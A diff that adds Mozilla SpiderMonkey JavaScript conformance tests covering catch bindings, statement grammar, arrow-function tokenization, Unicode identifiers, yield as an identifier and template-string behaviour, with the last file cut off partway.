+++ b/js/src/tests/non262/syntax/omitted-catch-binding.js
@@ -0,0 +1,36 @@
+var state = 'initial';
+try {
+ throw new Error('caught');
+ state = 'unreachable';
+} catch { // Note the lack of a binding
+ assertEq(state, 'initial');
+ state = 'caught';
+}
+assertEq(state, 'caught');
+
+
+var sigil1 = {};
+try {
+ throw sigil1;
+} catch (e) {
+ assertEq(e, sigil1);
+}
+
+
+var sigil2 = {};
+var reached = false;
+try {
+ try {
+ throw sigil1;
+ } catch {
+ reached = true;
+ } finally {
+ throw sigil2;
+ }
+} catch (e) {
+ assertEq(e, sigil2);
+}
+assertEq(reached, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/syntax/shell.js b/js/src/tests/non262/syntax/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/syntax/shell.js
diff --git a/js/src/tests/non262/syntax/statement-versus-statementlistitem.js b/js/src/tests/non262/syntax/statement-versus-statementlistitem.js
new file mode 100644
index 0000000000..d0565353dd
--- /dev/null
+++ b/js/src/tests/non262/syntax/statement-versus-statementlistitem.js
@@ -0,0 +1,148 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate, parseModule
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary =
+ "Properly implement the spec's distinctions between StatementListItem and " +
+ "Statement grammar productions and their uses";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var counter = 0;
+
+// Test all the different contexts that expect a Statement.
+
+function contextAcceptsStatement(pat)
+{
+ var goodCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n {} \n ;")}
+}
+`;
+
+ evaluate(goodCode);
+
+ var badCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let {} \n ;")}
+}
+`;
+
+ try
+ {
+ evaluate(badCode);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "didn't get a syntax error, instead got: " + e);
+ }
+}
+
+contextAcceptsStatement("if (0) @@@");
+contextAcceptsStatement("if (0) ; else @@@");
+contextAcceptsStatement("if (0) ; else if (0) @@@");
+contextAcceptsStatement("if (0) ; else if (0) ; else @@@");
+// Can't test do-while loops this way because the Statement isn't in trailing
+// position, so 'let' followed by newline *must* be followed by 'while'.
+contextAcceptsStatement("while (1) @@@");
+contextAcceptsStatement("for (1; 1; 0) @@@");
+contextAcceptsStatement("for (var x; 1; 0) @@@");
+contextAcceptsStatement("for (let x; 1; 0) @@@");
+contextAcceptsStatement("for (const x = 1; 1; 0) @@@");
+contextAcceptsStatement("for (x in 0) @@@");
+contextAcceptsStatement("for (var x in 0) @@@");
+contextAcceptsStatement("for (let x in 0) @@@");
+contextAcceptsStatement("for (const x in 0) @@@");
+contextAcceptsStatement("for (x of []) @@@");
+contextAcceptsStatement("for (var x of []) @@@");
+contextAcceptsStatement("for (let x of []) @@@");
+contextAcceptsStatement("for (const x of []) @@@");
+contextAcceptsStatement("with (1) @@@");
+contextAcceptsStatement("foo: @@@");
+
+// Test all the different contexts that expect a StatementListItem.
+
+function contextAcceptsStatementListItem(pat)
+{
+ var goodCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n [] = [] ;")}
+}
+`;
+
+ evaluate(goodCode);
+
+ var moarGoodCode = pat.replace("@@@", "let \n [] = [] ;");
+ evaluate(moarGoodCode);
+
+ var goodModuleCode = pat.replace("@@@", "let \n [] = [] ;");
+ parseModule(goodModuleCode);
+
+ var badCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n let = 3 ;")}
+}
+`;
+
+ try
+ {
+ evaluate(badCode);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "didn't get a syntax error, instead got: " + e);
+ }
+}
+
+contextAcceptsStatementListItem("{ @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { default: @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 0: case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 0: break; case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { default: @@@ case 2: }");
+contextAcceptsStatementListItem("try { @@@ } catch (e) { }");
+contextAcceptsStatementListItem("try { @@@ } finally { }");
+contextAcceptsStatementListItem("try { @@@ } catch (e) { } finally { }");
+contextAcceptsStatementListItem("try { } catch (e) { @@@ }");
+contextAcceptsStatementListItem("try { } finally { @@@ }");
+contextAcceptsStatementListItem("try { } catch (e) { @@@ } finally { }");
+contextAcceptsStatementListItem("try { } catch (e) { } finally { @@@ }");
+contextAcceptsStatementListItem("_ => { @@@ }");
+contextAcceptsStatementListItem("function q() { @@@ }");
+contextAcceptsStatementListItem("function* q() { @@@ }");
+contextAcceptsStatementListItem("(function() { @@@ })");
+contextAcceptsStatementListItem("(function*() { @@@ })");
+contextAcceptsStatementListItem("({ *q() { @@@ } })");
+contextAcceptsStatementListItem("({ q() { @@@ } })");
+contextAcceptsStatementListItem("({ get q() { @@@ } })");
+contextAcceptsStatementListItem("({ set q(v) { @@@ } })");
+contextAcceptsStatementListItem("(class { f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static *f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static get f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static set f(v) { @@@ } })");
+contextAcceptsStatementListItem("(class { static() { @@@ } })");
+contextAcceptsStatementListItem("@@@");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js
new file mode 100644
index 0000000000..d7a4ccd092
--- /dev/null
+++ b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1596706;
+var summary =
+ "Properly evaluate a bigint literal that's initially tokenized by a syntax " +
+ "parser (because the bigint literal appears immediately after an arrow " +
+ "function with expression body)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// block followed by semicolon
+assertEq(eval(`x=>{};
+17n`), 17n);
+
+// block not followed by semicolon
+assertEq(eval(`x=>{}
+42n`), 42n);
+
+// expr followed by semicolon
+assertEq(eval(`x=>y;
+8675309n`), 8675309n);
+
+// expr not followed by semicolon
+assertEq(eval(`x=>y
+78051120n`), 78051120n);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js
new file mode 100644
index 0000000000..9be9c3fca6
--- /dev/null
+++ b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js
@@ -0,0 +1,72 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1596706;
+var summary =
+ "Properly apply a directive comment that's only tokenized by a syntax " +
+ "parser (because the directive comment appears immediately after an arrow " +
+ "function with expression body)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var stack;
+
+function reset()
+{
+ stack = "";
+}
+
+function assertStackContains(needle, msg)
+{
+ assertEq(stack.indexOf(needle) >= 0, true,
+ `stack should contain '${needle}': ${msg}`);
+}
+
+Object.defineProperty(this, "detectSourceURL", {
+ get() {
+ stack = new Error().stack;
+ return 17;
+ }
+});
+
+// block followed by semicolon
+reset();
+assertEq(eval(`x=>{};
+//# sourceURL=http://example.com/foo.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/foo.js", "block, semi");
+
+// block not followed by semicolon
+reset();
+assertEq(eval(`x=>{}
+//# sourceURL=http://example.com/bar.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/bar.js", "block, not semi");
+
+// expr followed by semicolon
+reset();
+assertEq(eval(`x=>y;
+//# sourceURL=http://example.com/baz.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/baz.js", "expr, semi");
+
+// expr not followed by semicolon
+reset();
+assertEq(eval(`x=>y
+//# sourceURL=http://example.com/quux.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/quux.js", "expr, not semi");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js
new file mode 100644
index 0000000000..71e2b2bdaf
--- /dev/null
+++ b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1596706;
+var summary =
+ "Properly apply a source map directive that's only tokenized by a syntax " +
+ "parser (because the directive comment appears immediately after an arrow " +
+ "function with expression body)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = newGlobal({newCompartment: true});
+var dbg = new Debugger(g);
+
+var script;
+dbg.onDebuggerStatement = function (frame)
+{
+ script = frame.script;
+};
+
+function checkSourceMapFor(arrowFunc, sourceMap)
+{
+ g.evaluate(`${arrowFunc}
+//# sourceMappingURL=${sourceMap}
+debugger;`);
+
+ assertEq(script instanceof Debugger.Script, true,
+ "expected a Debugger.Script for " + arrowFunc);
+
+ var source = script.source;
+ assertEq(source instanceof Debugger.Source, true,
+ "expected a Debugger.Source for " + arrowFunc);
+
+ assertEq(source.sourceMapURL, sourceMap,
+ "unexpected source map for " + arrowFunc);
+}
+
+// block followed by semicolon
+checkSourceMapFor("x=>{};", "http://example.com/foo.js");
+
+// block not followed by semicolon
+checkSourceMapFor("x=>{}", "http://example.com/bar.js");
+
+// expr followed by semicolon
+checkSourceMapFor("x=>y;", "http://example.com/baz.js");
+
+// expr not followed by semicolon
+checkSourceMapFor("x=>y", "http://example.com/bar.js");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/unicode_other_id_continue.js b/js/src/tests/non262/syntax/unicode_other_id_continue.js
new file mode 100644
index 0000000000..03dd09b71b
--- /dev/null
+++ b/js/src/tests/non262/syntax/unicode_other_id_continue.js
@@ -0,0 +1,45 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// From PropList.txt (Unicode 9):
+const otherIdContinue = [
+ 0x00B7, // MIDDLE DOT, Gc=Po
+ 0x0387, // GREEK ANO TELEIA, Gc=Po
+ 0x1369, // ETHIOPIC DIGIT ONE, Gc=No
+ 0x136A, // ETHIOPIC DIGIT TWO, Gc=No
+ 0x136B, // ETHIOPIC DIGIT THREE, Gc=No
+ 0x136C, // ETHIOPIC DIGIT FOUR, Gc=No
+ 0x136D, // ETHIOPIC DIGIT FIVE, Gc=No
+ 0x136E, // ETHIOPIC DIGIT SIX, Gc=No
+ 0x136F, // ETHIOPIC DIGIT SEVEN, Gc=No
+ 0x1370, // ETHIOPIC DIGIT EIGHT, Gc=No
+ 0x1371, // ETHIOPIC DIGIT NINE, Gc=No
+ 0x19DA, // NEW TAI LUE THAM DIGIT ONE, Gc=No
+];
+
+// Leading character in identifier.
+for (let ident of [...otherIdContinue]) {
+ assertThrowsInstanceOf(() => eval(`${String.fromCodePoint(ident)}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`\\u${ident.toString(16).padStart(4, "0")}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`\\u{${ident.toString(16)}}`), SyntaxError);
+}
+
+// Not leading character in identifier.
+for (let ident of [...otherIdContinue]) {
+ eval(`
+ let A${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/unicode_other_id_start.js b/js/src/tests/non262/syntax/unicode_other_id_start.js
new file mode 100644
index 0000000000..86790dd00e
--- /dev/null
+++ b/js/src/tests/non262/syntax/unicode_other_id_start.js
@@ -0,0 +1,48 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// From PropList.txt (Unicode 9):
+const otherIdStart = [
+ 0x1885, // MONGOLIAN LETTER ALI GALI BALUDA, Gc=Mn
+ 0x1886, // MONGOLIAN LETTER ALI GALI THREE BALUDA, Gc=Mn
+ 0x2118, // SCRIPT CAPITAL P, Gc=Sm
+ 0x212E, // ESTIMATED SYMBOL, Gc=So
+ 0x309B, // KATAKANA-HIRAGANA VOICED SOUND MARK, Gc=Sk
+ 0x309C, // KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, Gc=Sk
+];
+
+// Leading character in identifier.
+for (let ident of otherIdStart) {
+ eval(`
+ let ${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ eval(`
+ let \\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ eval(`
+ let \\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+}
+
+// Not leading character in identifier.
+for (let ident of otherIdStart) {
+ eval(`
+ let A${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/yield-as-identifier.js b/js/src/tests/non262/syntax/yield-as-identifier.js
new file mode 100644
index 0000000000..665b0b11c4
--- /dev/null
+++ b/js/src/tests/non262/syntax/yield-as-identifier.js
@@ -0,0 +1,54 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary = "|yield| is sometimes a valid identifier";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code)
+{
+ var strictSemi = " 'use strict'; " + code;
+ var strictASI = " 'use strict' \n " + code;
+
+ var creationFunctions = ["Function"];
+ if (typeof evaluate === "function")
+ creationFunctions.push("evaluate");
+ if (typeof parseModule === "function")
+ creationFunctions.push("parseModule");
+
+ for (var func of creationFunctions)
+ {
+ var g = newGlobal();
+ var f = g[func];
+
+ if (func === "parseModule")
+ assertThrowsInstanceOf(() => f(code), g.SyntaxError);
+ else
+ f(code);
+
+ assertThrowsInstanceOf(() => f(strictSemi), g.SyntaxError);
+ assertThrowsInstanceOf(() => f(strictASI), g.SyntaxError);
+ }
+}
+
+t("var yield = 3;");
+t("let yield = 3;");
+t("const yield = 3;");
+t("for (var yield = 3; ; ) break;");
+t("for (let yield = 3; ; ) break;");
+t("for (const yield = 3; ; ) break;");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/template-strings/browser.js b/js/src/tests/non262/template-strings/browser.js
new file mode 100644
index 0000000000..139597f9cb
--- /dev/null
+++ b/js/src/tests/non262/template-strings/browser.js
@@ -0,0 +1,2 @@
+
+
diff --git a/js/src/tests/non262/template-strings/bug1559123.js b/js/src/tests/non262/template-strings/bug1559123.js
new file mode 100644
index 0000000000..a739dd7dee
--- /dev/null
+++ b/js/src/tests/non262/template-strings/bug1559123.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+const getStrings = (strings, ...values) => strings;
+const getRef = () => getStrings`test`;
+let c = getRef();
+relazifyFunctions(getRef);
+assertEq(getRef(), c);
+// Note the failure case here looks like this:
+// Assertion failed: got ["test"], expected ["test"]
+// If you're reading this test and going "wtf", it's because this is testing
+// reference identity of the array object - they're actually different arrays,
+// but have the same contents.
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/template-strings/debugLineNumber.js b/js/src/tests/non262/template-strings/debugLineNumber.js
new file mode 100644
index 0000000000..aba1656866
--- /dev/null
+++ b/js/src/tests/non262/template-strings/debugLineNumber.js
@@ -0,0 +1,50 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// TEST BEGIN
+
+// verify debugger line numbers are accurate
+try {
+ `
+ a
+ b
+ c
+ `;
+ throw Error("error");
+} catch (e) {
+ assertEq(e.lineNumber, 14);
+}
+
+try {
+ function tagThatThrows(...args) { throw new Error(); }
+
+ tagThatThrows`
+ multi-line
+ template
+ string`;
+} catch (e) {
+ var stackLines = e.stack.split('\n');
+ var firstLine = stackLines[0].split(':');
+ var secondLine = stackLines[1].split(':');
+ var firstLineSize = firstLine.length;
+ var secondLineSize = secondLine.length;
+ assertEq(firstLine[firstLineSize - 2], "20");
+ assertEq(firstLine[firstLineSize - 1], "45");
+ assertEq(secondLine[secondLineSize - 2], "22");
+ assertEq(secondLine[secondLineSize - 1], "18");
+}
+
+try {
+ ` multi-line
+ template
+ with
+ ${substitutionThatThrows()}`
+
+} catch (e) {
+ assertEq(e.lineNumber, 42);
+}
+
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template-strings/lineNumber.js b/js/src/tests/non262/template-strings/lineNumber.js
new file mode 100644
index 0000000000..6163d5421d
--- /dev/null
+++ b/js/src/tests/non262/template-strings/lineNumber.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var BUGNUMBER = 1253847;
+var summary = 'Line numbers should be updated correctly when a template literal contains CRLF sequences.';
+
+print(BUGNUMBER + ": " + summary);
+
+// lineNumber after template literal.
+var base, x, lineno;
+eval([
+ "base = new Error().lineNumber;",
+ "x = `",
+ "`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 3);
+
+eval([
+ "base = new Error().lineNumber;",
+ "x = `",
+ "",
+ "`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 4);
+
+eval([
+ "base = new Error().lineNumber;",
+ "x = `a",
+ "b`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 3);
+
+// lineNumber inside template literal
+eval([
+ "base = new Error().lineNumber;",
+ "x = `${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 4);
+assertEq(x, (base + 1) + '\n' + (base + 2) + '\n' + (base + 3));
+
+eval([
+ "var base = new Error().lineNumber;",
+ "var x = `",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "`;",
+ "var lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 6);
+assertEq(x, '\n' + (base + 2) + '\n' + (base + 3) + '\n' + (base + 4) + '\n');
+
+// When CR, LF, and CRLF are mixed.
+eval([
+ "var base = new Error().lineNumber;", "\n",
+ "var x = `${new Error().lineNumber}", "\n",
+ "${new Error().lineNumber}", "\r\n",
+ "${new Error().lineNumber}", "\r",
+ "${new Error().lineNumber}`;", "\n",
+ "var lineno = new Error().lineNumber;",
+].join(""));
+assertEq(lineno, base + 5);
+assertEq(x, (base + 1) + '\n' + (base + 2) + '\n' + (base + 3) + '\n' + (base + 4));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/template-strings/noSubst.js b/js/src/tests/non262/template-strings/noSubst.js
new file mode 100644
index 0000000000..730275fd99
--- /dev/null
+++ b/js/src/tests/non262/template-strings/noSubst.js
@@ -0,0 +1,148 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw "Expected syntax error: " + script;
+}
+
+// TEST BEGIN
+
+// unterminated quasi literal
+syntaxError("`");
+syntaxError("`$");
+syntaxError("`${");
+syntaxError("`${}");
+syntaxError("`${1}");
+syntaxError("`${1 + 2}");
+
+// almost template substitutions
+assertEq("$", `$`);
+assertEq("$}", `$}`);
+assertEq("}", `}`);
+assertEq("{", `{`);
+
+
+// character escape sequence (single escape character)
+assertEq("\'", `\'`);
+assertEq("\"", `\"`);
+assertEq("\\", `\\`);
+assertEq("\b", `\b`);
+assertEq("\f", `\f`);
+assertEq("\n", `\n`);
+assertEq("\r", `\r`);
+assertEq("\t", `\t`);
+assertEq("\v", `\v`);
+assertEq("\r\n", `\r\n`);
+
+
+assertEq("\0", eval("`\\" + String.fromCharCode(0) + "`"));
+assertEq("$", `\$`);
+assertEq(".", `\.`);
+assertEq("A", `\A`);
+assertEq("a", `\a`);
+
+
+// digit escape sequence
+assertEq("\0", `\0`);
+syntaxError("`\\1`");
+syntaxError("`\\2`");
+syntaxError("`\\3`");
+syntaxError("`\\4`");
+syntaxError("`\\5`");
+syntaxError("`\\6`");
+syntaxError("`\\7`");
+syntaxError("`\\01`");
+syntaxError("`\\001`");
+syntaxError("`\\00`");
+
+// hex escape sequence
+syntaxError("`\\x`");
+syntaxError("`\\x0`");
+syntaxError("`\\x0Z`");
+syntaxError("`\\xZ`");
+
+assertEq("\0", `\x00`);
+assertEq("$", `\x24`);
+assertEq(".", `\x2E`);
+assertEq("A", `\x41`);
+assertEq("a", `\x61`);
+assertEq("AB", `\x41B`);
+assertEq(String.fromCharCode(0xFF), `\xFF`);
+
+
+// unicode escape sequence
+
+assertEq("\0", `\u0000`);
+assertEq("$", `\u0024`);
+assertEq(".", `\u002E`);
+assertEq("A", `\u0041`);
+assertEq("a", `\u0061`);
+assertEq("AB", `\u0041B`);
+assertEq(String.fromCharCode(0xFFFF), `\uFFFF`);
+
+
+// line continuation
+assertEq("", eval("`\\\n`"));
+assertEq("", eval("`\\\r`"));
+assertEq("", eval("`\\\u2028`"));
+assertEq("", eval("`\\\u2029`"));
+assertEq("\u2028", eval("`\u2028`"));
+assertEq("\u2029", eval("`\u2029`"));
+
+assertEq("a\nb", eval("`a\rb`"))
+assertEq("a\nb", eval("`a\r\nb`"))
+assertEq("a\n\nb", eval("`a\r\rb`"))
+
+
+// source character
+for (var i = 0; i < 0xFF; ++i) {
+ var c = String.fromCharCode(i);
+ if (c == "`" || c == "\\" || c == "\r") continue;
+ assertEq(c, eval("`" + c + "`"));
+}
+
+assertEq("", ``);
+assertEq("`", `\``);
+assertEq("$", `$`);
+assertEq("$$", `$$`);
+assertEq("$$}", `$$}`);
+
+// multi-line
+assertEq(`hey
+there`, "hey\nthere");
+
+// differences between strings and template strings
+syntaxError("var obj = { `illegal`: 1}");
+
+// test for JSON.parse
+assertThrowsInstanceOf(() => JSON.parse('[1, `false`]'), SyntaxError);
+
+syntaxError('({get `name`() { return 10; }});');
+
+// test for "use strict" directive
+assertEq(5, Function("`use strict`; return 05;")());
+var func = function f() {
+ `ignored string`;
+ "use strict";
+ return 06;
+}
+assertEq(6, func());
+syntaxError("\"use strict\"; return 06;");
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template-strings/shell.js b/js/src/tests/non262/template-strings/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/template-strings/shell.js
diff --git a/js/src/tests/non262/template-strings/tagTempl.js b/js/src/tests/non262/template-strings/tagTempl.js
new file mode 100644
index 0000000000..6078f4ad9e
--- /dev/null
+++ b/js/src/tests/non262/template-strings/tagTempl.js
@@ -0,0 +1,464 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+// function definitions
+function check(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (var i = 0; i < expected.length; i++)
+ assertEq(actual[i], expected[i]);
+}
+
+function cooked(cs) { return cs; }
+function raw(cs) { return cs.raw; }
+function args(cs, ...rest) { return rest; }
+
+
+// TEST BEGIN
+
+// Literals
+check(raw``, [""]);
+check(raw`${4}a`, ["","a"]);
+check(raw`${4}`, ["",""]);
+check(raw`a${4}`, ["a",""]);
+check(raw`a${4}b`, ["a","b"]);
+check(raw`a${4}b${3}`, ["a","b",""]);
+check(raw`a${4}b${3}c`, ["a","b","c"]);
+check(raw`a${4}${3}c`, ["a","","c"]);
+check(raw`${4}${3}`, ["","",""]);
+check(raw`${4}\r\r${3}`, ["","\\r\\r",""]);
+check(raw`${4}${3}c`, ["","","c"]);
+check(raw`zyx${4}wvut${3}c`, ["zyx","wvut","c"]);
+check(raw`zyx${4}wvut${3}\r\n`, ["zyx","wvut","\\r\\n"]);
+
+check(raw`hey`, ["hey"]);
+check(raw`he\r\ny`, ["he\\r\\ny"]);
+check(raw`he\ry`, ["he\\ry"]);
+check(raw`he\r\ry`, ["he\\r\\ry"]);
+check(raw`he\ny`, ["he\\ny"]);
+check(raw`he\n\ny`, ["he\\n\\ny"]);
+
+check(cooked`hey`, ["hey"]);
+check(cooked`he\r\ny`, ["he\r\ny"]);
+check(cooked`he\ry`, ["he\ry"]);
+check(cooked`he\r\ry`, ["he\r\ry"]);
+check(cooked`he\ny`, ["he\ny"]);
+check(cooked`he\n\ny`, ["he\n\ny"]);
+
+check(eval("raw`\r`"), ["\n"]);
+check(eval("raw`\r\n`"), ["\n"]);
+check(eval("raw`\r\r\n`"), ["\n\n"]);
+check(eval("raw`he\r\ny`"), ["he\ny"]);
+check(eval("raw`he\ry`"), ["he\ny"]);
+check(eval("raw`he\r\ry`"), ["he\n\ny"]);
+check(eval("raw`he\r\r\ny`"), ["he\n\ny"]);
+
+
+check(eval("cooked`\r`"), ["\n"]);
+check(eval("cooked`\r\n`"), ["\n"]);
+check(eval("cooked`\r\r\n`"), ["\n\n"]);
+check(eval("cooked`he\r\ny`"), ["he\ny"]);
+check(eval("cooked`he\ry`"), ["he\ny"]);
+check(eval("cooked`he\r\ry`"), ["he\n\ny"]);
+check(eval("cooked`he\r\r\ny`"), ["he\n\ny"]);
+
+// Expressions
+check(args`hey${"there"}now`, ["there"]);
+check(args`hey${4}now`, [4]);
+check(args`hey${4}`, [4]);
+check(args`${4}`, [4]);
+check(args`${4}${5}`, [4,5]);
+check(args`a${4}${5}`, [4,5]);
+check(args`a${4}b${5}`, [4,5]);
+check(args`a${4}b${5}c`, [4,5]);
+check(args`${4}b${5}c`, [4,5]);
+check(args`${4}${5}c`, [4,5]);
+
+var a = 10;
+var b = 15;
+check(args`${4 + a}${5 + b}c`, [14,20]);
+check(args`${4 + a}${a + b}c`, [14,25]);
+check(args`${b + a}${5 + b}c`, [25,20]);
+check(args`${4 + a}${a + b}c${"a"}`, [14,25,"a"]);
+check(args`a${"b"}${"c"}${"d"}`, ["b","c","d"]);
+check(args`a${"b"}${"c"}${a + b}`, ["b","c",25]);
+check(args`a${"b"}`, ["b"]);
+
+// Expressions - complex substitutions
+check(args`${`hey ${b + a} there`}${5 + b}c`, ["hey 25 there",20]);
+check(args`${`hey ${`my ${b + a} good`} there`}${5 + b}c`, ["hey my 25 good there",20]);
+
+syntaxError("args`${}`");
+syntaxError("args`${`");
